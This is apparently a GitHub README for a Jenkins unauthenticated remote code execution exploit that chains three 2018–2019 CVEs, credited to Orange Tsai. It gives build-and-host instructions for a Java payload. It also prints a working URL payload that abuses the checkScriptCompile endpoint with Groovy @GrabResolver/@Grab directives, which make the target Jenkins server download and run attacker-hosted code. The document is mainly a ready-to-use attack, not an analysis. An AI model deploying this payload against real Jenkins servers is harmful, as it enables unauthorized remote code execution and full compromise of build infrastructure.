petercunha / Jenkins Rce

JENKINS UNAUTHENTICATED REMOTE CODE EXECUTION

Exploit compiled by me, but full credits for exploit discovery and exploit chaining go to Orange Tsai (orange.tw).

It chains CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029 to a more reliable and elegant pre-auth remote code execution!

Read his write-ups on this exploit here - Part 1: https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html Part 2: http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html His github: https://github.com/orangetw

INSTRUCTIONS:

• Edit code/Payload.java to your specifications, then run build.sh to generate a jar and copy it to the web folder.
• Once that is finished, copy the inner contents of www/ to a webserver.
• In the URL payload, replace with the hostname of the server, and to the hostname of where you uploaded your files.

URL Payload:

http:///securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile ?value= @GrabConfig(disableChecksums=true)%0a @GrabResolver(name='payload', root='http://')%0a @Grab(group='package', module='payload', version='1')%0a import Payload;